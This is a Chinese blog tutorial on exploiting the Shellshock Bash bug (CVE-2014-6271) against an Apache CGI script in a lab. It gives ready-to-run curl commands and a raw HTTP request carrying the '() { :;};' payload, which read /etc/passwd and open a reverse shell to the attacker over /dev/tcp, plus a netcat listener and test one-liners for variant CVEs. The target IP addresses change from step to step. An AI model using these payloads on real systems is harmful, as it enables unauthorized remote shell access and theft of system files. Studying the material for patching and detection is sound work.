当前位置:网站首页>CVE-2014-6271 “破壳“ 漏洞
CVE-2014-6271 “破壳“ 漏洞
2022-07-20 00:00:00 【墨痕诉清风】
前言
CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中,只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞,获取目标系统当前Bash运行用户相同权限的shell接口。
0x01实验环境
攻击机:kali linux
目标机: Ubuntu
ip: 10.10.10.129
0x02漏洞验证
- Bash版本小于等于4.3可能存在漏洞
可以使用如下命令查看bash版本:
[email protected]:~#bash --version
- 本地验证,使用如下命令:
[email protected]:~#env x='() { :;}; echo vulnerable' bash –c "echo This is a test"
若存在漏洞,将会回显:
vulnerable
This is a test
0x03环境检查
首先应该确定目标机的cgi 脚本可以正常的从攻击端访问到,我的cgi脚本内容如下:
#!/bin/bash
echo 'Content-type:text/html'
echo ''
echo 'This is a bash script'
存放于目标机(apache服务器)的/usr/lib/cgi-bin/echo.cgi 中。
提示:如果使用apache服务器,那么脚本的头部如果不是 echo ‘Content-type:text/html’ 访问时可能会报错。
尝试访问:
[email protected]:~#curl http://10.10.10.129/cgi-bin/echo.cgi
This is a bash script
访问成功。
0x04漏洞利用
方法一
主要分为两步:
1.在kali中开启监听本地端口接收反弹回来的shell
[email protected]:~#nc -lv 666
2.打开另一个终端制造访问请求,利用shellshock漏洞,同时建立读写交互文件
# 验证
curl -H 'x: () { :;}; a=`/bin/cat /etc/passwd`; echo $a' 'http://172.16.12.129/cgi-bin/test.sh' -I
# 反弹
curl -H 'x: () { :;}; /bin/bash -i >& /dev/tcp/172.16.12.137/666 0>&1' 'http://172.16.12.129/cgi-bin/test.sh' -I
其中反弹shell的方式请查阅一句话反弹shell的相关资料。
以上两步运行过后,在第一个终端将会显示目标机的交互shell:
[email protected]:~# nc -lv 666
Listening on [0.0.0.0] (family 0, port 666)
Connection from 10.10.10.129 42006 received!
bash: no job control in this shell
[email protected]:/usr/lib/cgi-bin$
[email protected]:/usr/lib/cgi-bin$ whoami
www-data
成功反弹shell,可见是www-data用户的权限。
方法二
1. 访问,burp抓包:
2. 修改数据包,命令执行:
GET /victim.cgi HTTP/1.1
Host: 192.168.163.128:8080
User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
3. shell反弹成功:
[email protected]:~# nc -lv 666
Listening on [0.0.0.0] (family 0, port 666)
Connection from 10.10.10.129 42006 received!
bash: no job control in this shell
[email protected]:/usr/lib/cgi-bin$
[email protected]:/usr/lib/cgi-bin$ whoami
www-data
总结
该漏洞利用条件较多,
1. bash版本小于等于4.3,
2. 攻击者可以控制环境变量,
3. 新的bash进程被打开触发漏洞并执行命令。
简单点说,没有cgi脚本继承环境变量,就玩不了;有cgi脚本的,bash版本过高也玩不了。不过由于利用较为简单,且影响范围比较大,建议多多尝试。
另外就是该漏洞的提权问题,在网上找了几篇文章看了一下,感觉还是msf做漏洞利用,上传系统信息收集文件,然后提权这一套比较靠谱。
还有几个编号是该漏洞的变种,大佬们绕补丁提的CVE:CVE-2014-7169、CVE-2014-7186、CVE-2014-7187、CVE-2014-6278、CVE-2014-6277。
CVE-2014-7169
env X='() { (shellshocker.net)=>\' bash -c "echo date"; cat echo; rm ./echo
CVE-2014-7186
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' ||
echo "CVE-2014-7186 vulnerable, redir_stack"
CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash ||
echo "CVE-2014-7187 vulnerable, word_lineno"
CVE-2014-6278
shellshocker='() { echo You are vulnerable; }' bash -c shellshocker
CVE-2014-6277
bash -c "f() { x() { _;}; x() { _;} <<a; }" 2>/dev/null || echo vulnerable
边栏推荐
- continue语句
- App 应用测试方法以及测试思路……
- Introduction to kubernetes components
- Maintainability of data intensive application of reading notes
- DOM basic operation
- Alipay fund. trans. uni. Function integration of transfer (single transfer interface)
- 读书笔记之数据密集型应用的可维护性
- YOLOv5训练自己的voc数据集
- 完美融入云原生的无代码平台 iVX编辑器实战
- Es6 - - promesse vs fonction "Callback Hell"
猜你喜欢
Kubernetes — client-go组件
TiKV & TiFlash 加速复杂业务查询
Read through the white paper on business security - four trends in the future
Siemens low code customer case | overcome communication barriers and solve the bottleneck of application development efficiency
COLA 4.0 - DDD项目实践
Windows11 install MySQL 5.7 X nanny graphic tutorial
Lua代码添加注释规则
Why do you say that the maximum single table of MySQL database is 20million? Based on what?
组件化架构项目搭建——Gradle统一、依赖管理与配置
Leetcode回文链表
随机推荐
哔哩哔哩 直播分区页面 自动检索红包直播间并跳转
cdh集群搭建(6.3)
un7.19:如何在VS-Code中实现多表联查?
Correction method and code of medical gender, age and years of Education
Alipay fund. trans. uni. Function integration of transfer (single transfer interface)
Nexttick stuff
Kubernetes — client-go组件
Circle Game
第八章:猴子爬山N级分级递推,求分母【a,b】的最简真分数的曾序列,斐波那契数列递推求解,斐波那契数列迭代求解,双关系数列枚举判别,双关系数列递推设计
微信小程序开发学习4(视图与逻辑)
Revit (22) familyinstance common API encapsulation
Qu'est - ce qu'un conflit de réplication
黑灰产眼中的NFT:平台嗷嗷待宰,用户送钱上门
hashCode和equals作用
Bubble sort
IDEA版Postman面世了,功能真心强大
深度参与 openGauss Developer Day 2022,云和恩墨在多项活动中展风采
FAQ - build a business security platform architecture. Here are all the answers you want!
「架构师合集」
若依框架分页失效---解决方案